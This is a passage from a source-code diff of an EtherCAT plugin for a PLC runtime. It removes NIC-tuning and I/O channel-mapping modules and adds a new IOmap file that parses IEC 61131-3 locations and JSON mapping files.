(int)prev.coalescing_saved, (int)prev.offloads_saved); - - restore_nic_settings(&prev, logger); - remove_state_file(iface); -} - -/* ------------------------------------------------------------------ */ -/* Public API (Linux) */ -/* ------------------------------------------------------------------ */ - -void ecat_iface_state_apply(ecat_iface_state_t *state, const char *iface, - plugin_logger_t *logger) -{ - if (!state || !iface || iface[0] == '\0') - return; - - memset(state, 0, sizeof(*state)); - - if (!ecat_iface_validate(iface, ECAT_IFACE_LINUX_STRICT)) { - plugin_logger_warn(logger, - "iface '%s' not a valid Linux interface name -- " - "NIC tuning (ethtool) is disabled for this master. " - "Jitter may be higher.", - iface); - return; - } - - strncpy(state->iface, iface, sizeof(state->iface) - 1); - state->iface[sizeof(state->iface) - 1] = '\0'; - - /* Recover from a crash of the current-format file */ - recover_from_crash(iface, logger); - - /* Capture the live NIC settings before we change them */ - capture_nic_settings(state, logger); - - /* Apply low-latency NIC tuning */ - apply_low_latency_nic(iface, logger); - - /* Persist whatever we captured/applied so a crash can roll it back */ - persist_state(state, logger); -} - -void ecat_iface_state_revert(ecat_iface_state_t *state, plugin_logger_t *logger) -{ - if (!state || state->iface[0] == '\0') - return; - - /* Only undo what we applied, in reverse order */ - restore_nic_settings(state, logger); - state->coalescing_saved = false; - state->offloads_saved = false; - - remove_state_file(state->iface); -} - -#else /* MSYS2 / Cygwin / native Windows */ - -void ecat_iface_state_apply(ecat_iface_state_t *state, const char *iface, - plugin_logger_t *logger) -{ - (void)state; - (void)iface; - (void)logger; -} - -void ecat_iface_state_revert(ecat_iface_state_t *state, plugin_logger_t *logger) -{ - (void)state; - (void)logger; -} - -#endif diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_iface_state.h b/core/src/drivers/plugins/native/ethercat/ethercat_iface_state.h deleted file mode 100644 index 9d877d82..00000000 --- a/core/src/drivers/plugins/native/ethercat/ethercat_iface_state.h +++ /dev/null @@ -1,62 +0,0 @@ -// SPDX-License-Identifier: MIT -// Copyright (c) 2026 Autonomy® - -/** - * @file ethercat_iface_state.h - * @brief Per-interface NIC-tuning state manager for the EtherCAT plugin. - * - * Saves the NIC's pre-EtherCAT settings (ethtool -c / -k coalescing - * and offloads), applies the low-latency tuning the bus thread needs - * (rx/tx-usecs=0, GRO/GSO/TSO off), and persists the captured "before" - * values to /run/runtime so a crashed runtime's next start can revert - * the system to its original state. - * - * Persistence file: /run/runtime/ecat_iface_.state - */ - -#ifndef ETHERCAT_IFACE_STATE_H -#define ETHERCAT_IFACE_STATE_H - -#include "ethercat_config.h" /* ecat_iface_state_t */ -#include "plugin_logger.h" - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * @brief Apply low-latency NIC tuning. - * - * Sequence: - * 1. Migrate the legacy NIC state file (older format) and revert - * anything it describes. - * 2. Recover from the unified state file if a previous run crashed. - * 3. Capture current NIC settings (ethtool -c / -k). - * 4. Apply low-latency settings (rx/tx-usecs = 0, GRO/GSO/TSO off). - * 5. Persist the captured "before" values to /run/runtime so a crash - * lets the next start undo what we just applied. - * - * On non-Linux platforms this is a no-op. - * - * @param state Per-instance state (zeroed by caller; populated here). - * @param iface Interface name from the master config. - * @param logger Plugin logger. - */ -void ecat_iface_state_apply(ecat_iface_state_t *state, const char *iface, - plugin_logger_t *logger); - -/** - * @brief Revert exactly what apply applied. - * - * Reads the in-memory flags (no disk involvement) to undo only the - * changes that this instance made, then deletes the persistence file. - * Safe to call when nothing was applied (no-op). Safe to call after a - * partially-failed apply (skips fields that were never set). - */ -void ecat_iface_state_revert(ecat_iface_state_t *state, plugin_logger_t *logger); - -#ifdef __cplusplus -} -#endif - -#endif /* ETHERCAT_IFACE_STATE_H */ diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_io.c b/core/src/drivers/plugins/native/ethercat/ethercat_io.c deleted file mode 100644 index 88b16135..00000000 --- a/core/src/drivers/plugins/native/ethercat/ethercat_io.c +++ /dev/null @@ -1,644 +0,0 @@ -// SPDX-License-Identifier: MIT -// Copyright (c) 2026 Autonomy® - -/** - * @file ethercat_io.c - * @brief EtherCAT I/O Module — IEC location parsing, channel mapping, and process data exchange - * - * Implements the bridge between the SOEM IOmap buffer and the OpenPLC - * runtime I/O buffers (bool_input/output, byte_input/output, etc.). - * - * Flow: - * 1. At startup, ecat_io_build_channel_map() walks every configured channel, - * resolves its IOmap pointer via PDO walking, parses its IEC location, - * and stores a compact mapping entry. - * 2. Still at startup, ecat_io_build_transfer_list() pre-resolves each map - * entry into a {plc_ptr, iomap_offset, byte_count} triple. - * 3. Each PLC scan cycle (hot path): - * - cycle_start_single() calls ecat_io_write_outputs_fast() to push - * PLC outputs into the IOmap, then ecat_io_read_inputs_fast() to - * pull fresh inputs back. Both operate on the pre-resolved transfer - * list — no PDO walking, no NULL checks. - */ - -#include "ethercat_io.h" -#include "ethercat_master.h" - -#include -#include -#include -#include - -/* - * ============================================================================= - * Inline helpers — bit-level IOmap access - * ============================================================================= - */ - -static inline uint8_t iomap_read_bit(const uint8_t *ptr, int bit) -{ - return (*ptr >> bit) & 0x01; -} - -static inline void iomap_write_bit(uint8_t *ptr, int bit, uint8_t val) -{ - if (val) - *ptr |= (uint8_t)(1 << bit); - else - *ptr &= (uint8_t)~(1 << bit); -} - -/* - * ============================================================================= - * IEC Location Parser - * ============================================================================= - */ - -int ecat_io_parse_iec_location(const char *loc_str, iec_location_t *loc) -{ - if (!loc_str || !loc) - return -1; - - const char *p = loc_str; - - /* Expect leading '%' */ - if (*p != '%') - return -1; - p++; - - /* Direction: I or Q */ - switch (toupper((unsigned char)*p)) { - case 'I': loc->direction = IEC_DIR_INPUT; break; - case 'Q': loc->direction = IEC_DIR_OUTPUT; break; - default: return -1; - } - p++; - - /* Size qualifier: X, B, W, D, L */ - switch (toupper((unsigned char)*p)) { - case 'X': loc->size = IEC_SIZE_BIT; break; - case 'B': loc->size = IEC_SIZE_BYTE; break; - case 'W': loc->size = IEC_SIZE_WORD; break; - case 'D': loc->size = IEC_SIZE_DWORD; break; - case 'L': loc->size = IEC_SIZE_LWORD; break; - default: return -1; - } - p++; - - /* Byte index (decimal) */ - if (!isdigit((unsigned char)*p)) - return -1; - - char *endptr = NULL; - long byte_val = strtol(p, &endptr, 10); - if (endptr == p || byte_val < 0) - return -1; - loc->byte_index = (int)byte_val; - p = endptr; - - /* Optional bit index — only valid for X (bit) size */ - loc->bit_index = -1; - if (*p == '.') { - p++; - if (!isdigit((unsigned char)*p)) - return -1; - long bit_val = strtol(p, &endptr, 10); - if (endptr == p || bit_val < 0 || bit_val > 7) - return -1; - if (loc->size != IEC_SIZE_BIT) - return -1; /* bit index only meaningful for X size */ - loc->bit_index = (int)bit_val; - p = endptr; - } else if (loc->size == IEC_SIZE_BIT) { - /* X size without explicit bit → default to bit 0 */ - loc->bit_index = 0; - } - - /* Must be at end of string */ - if (*p != '\0') - return -1; - - return 0; -} - -/* - * ============================================================================= - * IOmap Offset Calculation (static) - * ============================================================================= - */ - -/** - * @brief Walk PDO entries to find the IOmap offset and bit offset for a channel - * - * For a given channel (identified by pdo_index + pdo_entry_index + pdo_entry_subindex), - * accumulates bit lengths through the PDO list until the target entry is found. - * Returns an offset relative to the IOmap base rather than an absolute pointer, - * allowing the same map to work with both the real IOmap and a shadow buffer. - * - * @param soem_slave Live SOEM slave descriptor (provides outputs/inputs base pointer) - * @param iomap_base Base address of the IOmap buffer (for offset calculation) - * @param cfg_slave Configured slave (provides PDO lists from JSON) - * @param channel Channel to locate - * @param is_output true if channel is an output (RxPDO), false for input (TxPDO) - * @param out_offset [out] byte offset from iomap_base - * @param out_bit [out] bit offset within the byte (0-7) - * @param out_data_type [out] parsed data type from the matching PDO entry (may be NULL) - * @return 0 on success, -1 if channel's PDO entry was not found - */ -static int calculate_iomap_offset(const ec_slavet *soem_slave, - const uint8_t *iomap_base, - const ecat_slave_t *cfg_slave, - const ecat_channel_t *channel, - bool is_output, - size_t *out_offset, - int *out_bit, - ecat_data_type_t *out_data_type) -{ - /* Select PDO direction: - * Output channels -> RxPDOs (master writes to slave) -> soem_slave->outputs - * Input channels -> TxPDOs (slave sends to master) -> soem_slave->inputs - */ - const ecat_pdo_t *pdos; - int pdo_count; - uint8_t *base_ptr; - int start_bit; - - if (is_output) { - pdos = cfg_slave->rx_pdos; - pdo_count = cfg_slave->rx_pdo_count; - base_ptr = soem_slave->outputs; - start_bit = soem_slave->Ostartbit; - } else { - pdos = cfg_slave->tx_pdos; - pdo_count = cfg_slave->tx_pdo_count; - base_ptr = soem_slave->inputs; - start_bit = soem_slave->Istartbit; - } - - if (!base_ptr) - return -1; - - /* Calculate byte offset of slave's data area relative to IOmap base */ - size_t slave_base_offset = (size_t)(base_ptr - iomap_base); - - int accumulated_bits = start_bit; - - for (int p = 0; p < pdo_count; p++) { - const ecat_pdo_t *pdo = &pdos[p]; - for (int e = 0; e < pdo->entry_count; e++) { - const ecat_pdo_entry_t *entry = &pdo->entries[e]; - - /* Check if this is the target entry */ - if (strcmp(pdo->index, channel->pdo_index) == 0 && - strcmp(entry->index, channel->pdo_entry_index) == 0 && - entry->subindex == channel->pdo_entry_subindex) { - *out_offset = slave_base_offset + (accumulated_bits / 8); - *out_bit = accumulated_bits % 8; - if (out_data_type) - *out_data_type = entry->parsed_type; - return 0; - } - - accumulated_bits += entry->bit_length; - } - } - - return -1; /* entry not found */ -} - -/* - * ============================================================================= - * Data Type Validation Helpers - * ============================================================================= - */ - -/** - * @brief Return the expected IEC size qualifier for a given data type - * - * Used to validate that the IEC location width matches the PDO data type. - * Returns -1 for types where no specific size is expected (PAD, UNKNOWN). - */ -static int ecat_data_type_expected_iec_size(ecat_data_type_t dt) -{ - switch (dt) { - case ECAT_DTYPE_BOOL: return (int)IEC_SIZE_BIT; - case ECAT_DTYPE_INT8: case ECAT_DTYPE_UINT8: return (int)IEC_SIZE_BYTE; - case ECAT_DTYPE_INT16: case ECAT_DTYPE_UINT16:return (int)IEC_SIZE_WORD; - case ECAT_DTYPE_INT32: case ECAT_DTYPE_UINT32: - case ECAT_DTYPE_REAL32: return (int)IEC_SIZE_DWORD; - case ECAT_DTYPE_INT64: case ECAT_DTYPE_UINT64: - case ECAT_DTYPE_REAL64: return (int)IEC_SIZE_LWORD; - case ECAT_DTYPE_UNKNOWN: - case ECAT_DTYPE_PAD: return -1; - } - return -1; -} - -/** - * @brief Return a human-readable name for an iec_size_t value - */ -static const char *iec_size_name(iec_size_t sz) -{ - switch (sz) { - case IEC_SIZE_BIT: return "BIT (X)"; - case IEC_SIZE_BYTE: return "BYTE (B)"; - case IEC_SIZE_WORD: return "WORD (W)"; - case IEC_SIZE_DWORD: return "DWORD (D)"; - case IEC_SIZE_LWORD: return "LWORD (L)"; - } - return "?"; -} - -/* - * ============================================================================= - * Channel Map Builder - * ============================================================================= - */ - -int ecat_io_build_channel_map(const ecat_config_t *config, - ecat_channel_map_t *map, - ecat_master_instance_t *inst, - plugin_runtime_args_t *args, - plugin_logger_t *logger) -{ - memset(map, 0, sizeof(*map)); - - /* Get IOmap base for offset calculation */ - uint8_t *iomap_base = ecat_master_get_iomap(inst); - if (!iomap_base) { - plugin_logger_error(logger, "IOmap base pointer is NULL"); - return -1; - } - - int errors = 0; - int mapped = 0; - - for (int s = 0; s < config->slave_count; s++) { - const ecat_slave_t *cfg_slave = &config->slaves[s]; - int pos = cfg_slave->position; - - /* Get live SOEM slave descriptor */ - const ec_slavet *soem_slave = ecat_master_get_slave(inst, pos); - if (!soem_slave) { - plugin_logger_warn(logger, - "Slave '%s' position %d: not found in SOEM context, skipping channels", - cfg_slave->name, pos); - errors++; - continue; - } - - for (int c = 0; c < cfg_slave->channel_count; c++) { - const ecat_channel_t *ch = &cfg_slave->channels[c]; - - /* Skip channels without IEC location */ - if (ch->iec_location[0] == '\0') - continue; - - /* Parse IEC location */ - iec_location_t iec_loc; - if (ecat_io_parse_iec_location(ch->iec_location, &iec_loc) != 0) { - plugin_logger_warn(logger, - "Slave '%s' channel '%s': invalid IEC location '%s', skipping", - cfg_slave->name, ch->name, ch->iec_location); - errors++; - continue; - } - - /* Bounds check against PLC buffer size */ - if (iec_loc.byte_index >= args->buffer_size) { - plugin_logger_warn(logger, - "Slave '%s' channel '%s': IEC location '%s' byte index %d " - "exceeds buffer size %d, skipping", - cfg_slave->name, ch->name, ch->iec_location, - iec_loc.byte_index, args->buffer_size); - errors++; - continue; - } - - /* Determine channel direction from type string */ - bool is_output = (strstr(ch->type, "output") != NULL); - - /* Calculate IOmap offset by walking PDO entries */ - size_t iomap_offset = 0; - int iomap_bit = 0; - ecat_data_type_t pdo_data_type = ECAT_DTYPE_UNKNOWN; - if (calculate_iomap_offset(soem_slave, iomap_base, cfg_slave, ch, - is_output, &iomap_offset, &iomap_bit, - &pdo_data_type) != 0) { - plugin_logger_warn(logger, - "Slave '%s' channel '%s': PDO entry not found " - "(pdo=%s entry=%s sub=%d), skipping", - cfg_slave->name, ch->name, - ch->pdo_index, ch->pdo_entry_index, ch->pdo_entry_subindex); - errors++; - continue; - } - - /* Validate: data type size must match IEC location size qualifier */ - int expected_size = ecat_data_type_expected_iec_size(pdo_data_type); - if (expected_size >= 0 && expected_size != (int)iec_loc.size) { - plugin_logger_warn(logger, - "Slave '%s' channel '%s': data type %s expects IEC size %s " - "but location '%s' uses %s -- data may be truncated or corrupt", - cfg_slave->name, ch->name, - ecat_data_type_to_string(pdo_data_type), - iec_size_name((iec_size_t)expected_size), - ch->iec_location, iec_size_name(iec_loc.size)); - } - - /* Build the map entry */ - ecat_channel_map_entry_t entry; - entry.iomap_offset = iomap_offset; - entry.iomap_bit_offset = iomap_bit; - entry.bit_length = ch->bit_length; - entry.size = iec_loc.size; - entry.byte_index = iec_loc.byte_index; - entry.bit_index = iec_loc.bit_index; - entry.data_type = pdo_data_type; - - /* Add to the appropriate direction array */ - if (iec_loc.direction == IEC_DIR_INPUT) { - if (map->input_count < ECAT_MAX_MAP_ENTRIES) { - map->inputs[map->input_count++] = entry; - mapped++; - } else { - plugin_logger_warn(logger, "Input channel map full (%d entries)", - ECAT_MAX_MAP_ENTRIES); - errors++; - } - } else { - if (map->output_count < ECAT_MAX_MAP_ENTRIES) { - map->outputs[map->output_count++] = entry; - mapped++; - } else { - plugin_logger_warn(logger, "Output channel map full (%d entries)", - ECAT_MAX_MAP_ENTRIES); - errors++; - } - } - - plugin_logger_debug(logger, - " Mapped: slave '%s' ch '%s' [%s] (%s) -> %s byte=%d bit=%d offset=%zu", - cfg_slave->name, ch->name, - ecat_data_type_to_string(pdo_data_type), ch->iec_location, - (iec_loc.direction == IEC_DIR_INPUT) ? "INPUT" : "OUTPUT", - iec_loc.byte_index, iec_loc.bit_index, iomap_offset); - - if (pdo_data_type == ECAT_DTYPE_REAL32 || - pdo_data_type == ECAT_DTYPE_REAL64) { - const char *iec_type = - (pdo_data_type == ECAT_DTYPE_REAL32) ? "REAL" : "LREAL"; - plugin_logger_info(logger, - "Slave '%s' channel '%s': PDO type is %s mapped to %s. " - "Declare the PLC variable as %s so the IEEE 754 bit " - "pattern is interpreted correctly", - cfg_slave->name, ch->name, - ecat_data_type_to_string(pdo_data_type), ch->iec_location, - iec_type); - } - } - } - - plugin_logger_info(logger, - "Channel map built: %d inputs, %d outputs (%d errors)", - map->input_count, map->output_count, errors); - - /* Reject partial maps: a typo or ESI mismatch that drops half the - * channels would leave the PLC running with stale variables and no - * indication of why. Fail-fast forces the operator to fix the JSON. */ - if (errors > 0) { - plugin_logger_error(logger, - "channel map rejected: %d entry/entries failed to map", errors); - return -1; - } - if (mapped == 0) - return -1; - return 0; -} - -/* - * ============================================================================= - * Transfer List Builder and Fast I/O Functions - * ============================================================================= - */ - -/** - * @brief Resolve one channel map entry into a PLC variable pointer - * - * Returns the direct pointer to the PLC variable (e.g. &__IW3) for the - * given channel direction and IEC size, or NULL if the slot is unmapped. - */ -static void *resolve_plc_ptr(const ecat_channel_map_entry_t *e, - iec_dir_t direction, - plugin_runtime_args_t *args) -{ - if (direction == IEC_DIR_INPUT) { - switch (e->size) { - case IEC_SIZE_BIT: - if (args->bool_input && - args->bool_input[e->byte_index] && - args->bool_input[e->byte_index][e->bit_index]) - return args->bool_input[e->byte_index][e->bit_index]; - break; - case IEC_SIZE_BYTE: - if (args->byte_input && args->byte_input[e->byte_index]) - return args->byte_input[e->byte_index]; - break; - case IEC_SIZE_WORD: - if (args->int_input && args->int_input[e->byte_index]) - return args->int_input[e->byte_index]; - break; - case IEC_SIZE_DWORD: - if (args->dint_input && args->dint_input[e->byte_index]) - return args->dint_input[e->byte_index]; - break; - case IEC_SIZE_LWORD: - if (args->lint_input && args->lint_input[e->byte_index]) - return args->lint_input[e->byte_index]; - break; - } - } else { - switch (e->size) { - case IEC_SIZE_BIT: - if (args->bool_output && - args->bool_output[e->byte_index] && - args->bool_output[e->byte_index][e->bit_index]) - return args->bool_output[e->byte_index][e->bit_index]; - break; - case IEC_SIZE_BYTE: - if (args->byte_output && args->byte_output[e->byte_index]) - return args->byte_output[e->byte_index]; - break; - case IEC_SIZE_WORD: - if (args->int_output && args->int_output[e->byte_index]) - return args->int_output[e->byte_index]; - break; - case IEC_SIZE_DWORD: - if (args->dint_output && args->dint_output[e->byte_index]) - return args->dint_output[e->byte_index]; - break; - case IEC_SIZE_LWORD: - if (args->lint_output && args->lint_output[e->byte_index]) - return args->lint_output[e->byte_index]; - break; - } - } - return NULL; -} - -/** Map IEC size qualifier to byte count */ -static uint8_t iec_size_to_bytes(iec_size_t sz) -{ - switch (sz) { - case IEC_SIZE_BIT: return 1; - case IEC_SIZE_BYTE: return 1; - case IEC_SIZE_WORD: return 2; - case IEC_SIZE_DWORD: return 4; - case IEC_SIZE_LWORD: return 8; - } - return 0; -} - -int ecat_io_build_transfer_list(const ecat_channel_map_t *map, - ecat_transfer_list_t *xfer, - plugin_runtime_args_t *args, - plugin_logger_t *logger) -{ - memset(xfer, 0, sizeof(*xfer)); - - /* EtherCAT input data is published into the %I image through the journal - * (lock-free, race-free against the IEC tasks). Refuse to build the list - * if the runtime did not supply the journal writers and we have input - * channels to map. */ - if (map->input_count > 0 && - (!args->journal_write_bool || !args->journal_write_byte || - !args->journal_write_int || !args->journal_write_dint || - !args->journal_write_lint)) { - plugin_logger_error(logger, - "Journal write entry points unavailable; cannot map %d EtherCAT input channel(s)", - map->input_count); - return -1; - } - - int resolved = 0; - - /* Resolve input channels */ - for (int i = 0; i < map->input_count; i++) { - const ecat_channel_map_entry_t *e = &map->inputs[i]; - void *plc_ptr = resolve_plc_ptr(e, IEC_DIR_INPUT, args); - if (!plc_ptr) - continue; - - ecat_transfer_entry_t *t = &xfer->inputs[xfer->input_count++]; - t->plc_ptr = plc_ptr; - t->iomap_offset = e->iomap_offset; - t->iomap_bit_offset = e->iomap_bit_offset; - t->byte_count = iec_size_to_bytes(e->size); - t->is_bit = (e->size == IEC_SIZE_BIT); - t->journal_index = e->byte_index; - t->journal_bit = (e->size == IEC_SIZE_BIT) ? e->bit_index : 0; - resolved++; - } - - /* Resolve output channels */ - for (int i = 0; i < map->output_count; i++) { - const ecat_channel_map_entry_t *e = &map->outputs[i]; - void *plc_ptr = resolve_plc_ptr(e, IEC_DIR_OUTPUT, args); - if (!plc_ptr) - continue; - - ecat_transfer_entry_t *t = &xfer->outputs[xfer->output_count++]; - t->plc_ptr = plc_ptr; - t->iomap_offset = e->iomap_offset; - t->iomap_bit_offset = e->iomap_bit_offset; - t->byte_count = iec_size_to_bytes(e->size); - t->is_bit = (e->size == IEC_SIZE_BIT); - resolved++; - } - - plugin_logger_info(logger, - "Transfer list built: %d inputs, %d outputs (%d resolved)", - xfer->input_count, xfer->output_count, resolved); - - /* Channels without a PLC variable bound (NULL plc_ptr) are skipped -- - * legitimate when not every IEC location is mapped to a program - * variable. Surface as warn so the operator can spot mistakes. */ - int total = map->input_count + map->output_count; - if (resolved < total) { - plugin_logger_warn(logger, - "transfer list: %d/%d channels resolved -- %d skipped (no PLC variable bound)", - resolved, total, total - resolved); - } - if (resolved == 0) - return -1; - return 0; -} - -/* Journal buffer-type ids for the INPUT image. Must match - * journal_buffer_type_t in journal_buffer.h (mirrored in plugin_types.h). */ -#define ECAT_JOURNAL_BOOL_INPUT 0 -#define ECAT_JOURNAL_BYTE_INPUT 3 -#define ECAT_JOURNAL_INT_INPUT 5 -#define ECAT_JOURNAL_DINT_INPUT 8 -#define ECAT_JOURNAL_LINT_INPUT 11 - -void ecat_io_read_inputs_fast(const ecat_transfer_list_t *xfer, - const uint8_t *iomap_base, - plugin_runtime_args_t *args) -{ - for (int i = 0; i < xfer->input_count; i++) { - const ecat_transfer_entry_t *e = &xfer->inputs[i]; - const uint8_t *src = iomap_base + e->iomap_offset; - if (e->is_bit) { - int v = iomap_read_bit(src, e->iomap_bit_offset); - args->journal_write_bool(ECAT_JOURNAL_BOOL_INPUT, - e->journal_index, e->journal_bit, v); - continue; - } - /* EtherCAT process data is little-endian; OpenPLC targets are LE, so - * the raw bytes map straight onto the IEC value (same as the previous - * memcpy). */ - switch (e->byte_count) { - case 1: { - uint8_t v; - memcpy(&v, src, 1); - args->journal_write_byte(ECAT_JOURNAL_BYTE_INPUT, e->journal_index, v); - break; - } - case 2: { - uint16_t v; - memcpy(&v, src, 2); - args->journal_write_int(ECAT_JOURNAL_INT_INPUT, e->journal_index, v); - break; - } - case 4: { - uint32_t v; - memcpy(&v, src, 4); - args->journal_write_dint(ECAT_JOURNAL_DINT_INPUT, e->journal_index, v); - break; - } - case 8: { - uint64_t v; - memcpy(&v, src, 8); - args->journal_write_lint(ECAT_JOURNAL_LINT_INPUT, e->journal_index, v); - break; - } - default: - break; - } - } -} - -void ecat_io_write_outputs_fast(const ecat_transfer_list_t *xfer, - uint8_t *iomap_base) -{ - for (int i = 0; i < xfer->output_count; i++) { - const ecat_transfer_entry_t *e = &xfer->outputs[i]; - if (e->is_bit) { - iomap_write_bit(iomap_base + e->iomap_offset, e->iomap_bit_offset, - *(const uint8_t *)e->plc_ptr); - } else { - memcpy(iomap_base + e->iomap_offset, e->plc_ptr, e->byte_count); - } - } -} diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_io.h b/core/src/drivers/plugins/native/ethercat/ethercat_io.h deleted file mode 100644 index ea070212..00000000 --- a/core/src/drivers/plugins/native/ethercat/ethercat_io.h +++ /dev/null @@ -1,116 +0,0 @@ -// SPDX-License-Identifier: MIT -// Copyright (c) 2026 Autonomy® - -/** - * @file ethercat_io.h - * @brief EtherCAT I/O Module — IEC location parsing, channel mapping, and process data exchange - * - * Bridges the SOEM IOmap and the OpenPLC runtime I/O buffers. - * Provides: - * - IEC 61131-3 location string parser (%IX0.0, %QW3, etc.) - * - Channel map builder that links each configured channel to its - * IOmap byte/bit and PLC buffer position - * - Per-cycle read/write helpers called from cycle_start/cycle_end - */ - -#ifndef ETHERCAT_IO_H -#define ETHERCAT_IO_H - -#include -#include "ethercat_config.h" -#include "plugin_types.h" -#include "plugin_logger.h" -#include "soem/soem.h" - -/* - * I/O type definitions (iec_size_t, iec_dir_t, iec_location_t, - * ecat_channel_map_entry_t, ecat_channel_map_t, ecat_transfer_entry_t, - * ecat_transfer_list_t, ECAT_MAX_MAP_ENTRIES) are defined in - * ethercat_config.h so that ecat_master_instance_t can embed them. - */ - -/** - * @brief Parse an IEC 61131-3 location string into its components - * - * Accepted format: %[IQ][XBWDL][.] - * - Direction: I (input) or Q (output) - * - Size: X (bit), B (byte), W (word), D (dword), L (lword) - * - Byte: decimal byte address - * - Bit: optional, only valid for X size, 0-7 - * - * @param loc_str NUL-terminated IEC location string - * @param loc Output parsed location - * @return 0 on success, -1 on parse error - */ -int ecat_io_parse_iec_location(const char *loc_str, iec_location_t *loc); - -/** - * @brief Build the channel map from configuration + live SOEM state - * - * Iterates every slave/channel in @p config, resolves the IOmap pointer - * via SOEM slave data, parses the IEC location, and stores the mapping - * for use in the per-cycle read/write functions. - * - * @param config Parsed EtherCAT configuration - * @param map Output channel map (zeroed before population) - * @param inst Master instance (provides SOEM context and IOmap) - * @param args Runtime args (for buffer_size bounds check) - * @param logger Logger instance - * @return 0 on success, -1 if any channel failed to map (partial maps - * are rejected to surface JSON/ESI mismatches at startup) - */ -int ecat_io_build_channel_map(const ecat_config_t *config, - ecat_channel_map_t *map, - ecat_master_instance_t *inst, - plugin_runtime_args_t *args, - plugin_logger_t *logger); - -/** - * @brief Build a transfer list from a channel map and runtime args - * - * Resolves each channel map entry into a direct {plc_ptr, iomap_offset, - * byte_count} triple. Entries whose PLC pointer is NULL (unmapped IEC - * address) are silently skipped. - * - * Must be called after ecat_io_build_channel_map() and after glueVars() - * has populated the image table pointers. - * - * @param map Channel map built by ecat_io_build_channel_map() - * @param xfer Output transfer list (zeroed before population) - * @param args Runtime args with PLC buffer pointers - * @param logger Logger instance - * @return 0 on success, -1 if zero channels resolved (image table not - * populated yet). Channels without a PLC variable bound are - * skipped with a warn but do not fail the call. - */ -int ecat_io_build_transfer_list(const ecat_channel_map_t *map, - ecat_transfer_list_t *xfer, - plugin_runtime_args_t *args, - plugin_logger_t *logger); - -/** - * @brief Fast per-cycle: publish IOmap inputs into the PLC %I image - * - * Input values are written through the lock-free journal (args->journal_write_*) - * rather than poked directly into the image, so they apply atomically at the - * next scan boundary and never race the IEC task threads. No image lock is - * held here. - * - * @param xfer Transfer list built by ecat_io_build_transfer_list() - * @param iomap_base Base pointer of the IOmap buffer - * @param args Runtime args providing the journal_write_* entry points - */ -void ecat_io_read_inputs_fast(const ecat_transfer_list_t *xfer, - const uint8_t *iomap_base, - plugin_runtime_args_t *args); - -/** - * @brief Fast per-cycle: copy PLC variables into IOmap outputs - * - * @param xfer Transfer list built by ecat_io_build_transfer_list() - * @param iomap_base Base pointer of the IOmap buffer - */ -void ecat_io_write_outputs_fast(const ecat_transfer_list_t *xfer, - uint8_t *iomap_base); - -#endif /* ETHERCAT_IO_H */ diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_iomap.c b/core/src/drivers/plugins/native/ethercat/ethercat_iomap.c new file mode 100644 index 00000000..8ca7c40f --- /dev/null +++ b/core/src/drivers/plugins/native/ethercat/ethercat_iomap.c @@ -0,0 +1,541 @@ +// SPDX-License-Identifier: MIT +// Copyright (c) 2026 Autonomy® + +/** + * @file ethercat_iomap.c + * @brief Mapping file parser, layout join and per-cycle copies for the EtherCAT client. + */ + +#include "ethercat_iomap.h" +#include "etherdog_link.h" + +#include +#include +#include +#include +#include + +/* Journal buffer-type ids for the INPUT image; must match journal_buffer_type_t. */ +#define JOURNAL_BOOL_INPUT 0 +#define JOURNAL_BYTE_INPUT 3 +#define JOURNAL_INT_INPUT 5 +#define JOURNAL_DINT_INPUT 8 +#define JOURNAL_LINT_INPUT 11 + +/* --- IEC location parser ---------------------------------------------------------------- */ + +int ecat_io_parse_iec_location(const char *loc_str, iec_location_t *loc) +{ + if (!loc_str || !loc) + return -1; + + const char *p = loc_str; + if (*p != '%') + return -1; + p++; + + switch (toupper((unsigned char)*p)) { + case 'I': loc->direction = IEC_DIR_INPUT; break; + case 'Q': loc->direction = IEC_DIR_OUTPUT; break; + default: return -1; + } + p++; + + switch (toupper((unsigned char)*p)) { + case 'X': loc->size = IEC_SIZE_BIT; break; + case 'B': loc->size = IEC_SIZE_BYTE; break; + case 'W': loc->size = IEC_SIZE_WORD; break; + case 'D': loc->size = IEC_SIZE_DWORD; break; + case 'L': loc->size = IEC_SIZE_LWORD; break; + default: return -1; + } + p++; + + if (!isdigit((unsigned char)*p)) + return -1; + char *endptr = NULL; + errno = 0; + long byte_val = strtol(p, &endptr, 10); + if (endptr == p || errno == ERANGE || byte_val < 0 || byte_val > ECAT_IOMAP_MAX_BYTE_INDEX) + return -1; + loc->byte_index = (int)byte_val; + p = endptr; + + loc->bit_index = -1; + if (*p == '.') { + p++; + if (!isdigit((unsigned char)*p)) + return -1; + long bit_val = strtol(p, &endptr, 10); + if (endptr == p || bit_val < 0 || bit_val > 7) + return -1; + if (loc->size != IEC_SIZE_BIT) + return -1; + loc->bit_index = (int)bit_val; + p = endptr; + } else if (loc->size == IEC_SIZE_BIT) { + loc->bit_index = 0; + } + + return *p == '\0' ? 0 : -1; +} + +static int iec_size_bits(iec_size_t size) +{ + switch (size) { + case IEC_SIZE_BIT: return 1; + case IEC_SIZE_BYTE: return 8; + case IEC_SIZE_WORD: return 16; + case IEC_SIZE_DWORD: return 32; + case IEC_SIZE_LWORD: return 64; + } + return 0; +} + +/* --- mapping file ------------------------------------------------------------------------ */ + +static char *read_file(const char *path, char *err, size_t err_size) +{ + FILE *fp = fopen(path, "rb"); + if (fp == NULL) { + snprintf(err, err_size, "cannot open %s: %s", path, strerror(errno)); + return NULL; + } + fseek(fp, 0, SEEK_END); + long size = ftell(fp); + fseek(fp, 0, SEEK_SET); + if (size < 0 || size > 16 * 1024 * 1024) { + fclose(fp); + snprintf(err, err_size, "%s: unreadable or too large", path); + return NULL; + } + char *text = malloc((size_t)size + 1); + if (text == NULL) { + fclose(fp); + snprintf(err, err_size, "out of memory"); + return NULL; + } + size_t n = fread(text, 1, (size_t)size, fp); + fclose(fp); + text[n] = '\0'; + return text; +} + +static int parse_hex16(const cJSON *item, uint16_t *out) +{ + if (cJSON_IsNumber(item)) { + if (item->valuedouble < 0 || item->valuedouble > 0xFFFF) + return -1; + *out = (uint16_t)item->valueint; + return 0; + } + if (!cJSON_IsString(item)) + return -1; + char *end = NULL; + unsigned long v = strtoul(item->valuestring, &end, 0); + if (end == item->valuestring || *end != '\0' || v > 0xFFFF) + return -1; + *out = (uint16_t)v; + return 0; +} + +static bool same_location(const iec_location_t *a, const iec_location_t *b) +{ + return a->direction == b->direction && a->size == b->size && a->byte_index == 